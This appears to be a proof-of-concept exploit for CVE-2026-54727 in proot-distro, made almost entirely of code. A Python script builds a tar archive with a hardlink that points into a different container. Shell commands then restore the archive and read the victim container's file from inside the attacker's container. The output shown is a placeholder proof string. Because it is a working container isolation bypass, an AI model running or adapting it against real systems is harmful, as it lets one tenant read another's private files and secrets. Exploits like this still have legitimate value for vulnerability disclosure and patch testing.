CVE-2026-54727: proot-distro Container Isolation Bypass via Crafted Restore Archive

python3 - <<'EOF'
import tarfile

# Build a crafted archive that hardlinks victim/rootfs/root/proof.txt
# into the attacker container as exfil/stolen_key.
tf = tarfile.open("malicious.tar", "w")

# Create destination directory inside the attacker container
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

# Hardlink source points at a DIFFERENT container (victim)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"  # cross-container source
h.mode = 0o600
tf.addfile(h)

tf.close()
EOF

# Trigger the bypass
proot-distro restore ./malicious.tar

# Read the victim's file from inside the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
# Output: PROOF-12345  (contents of victim container's /root/proof.txt)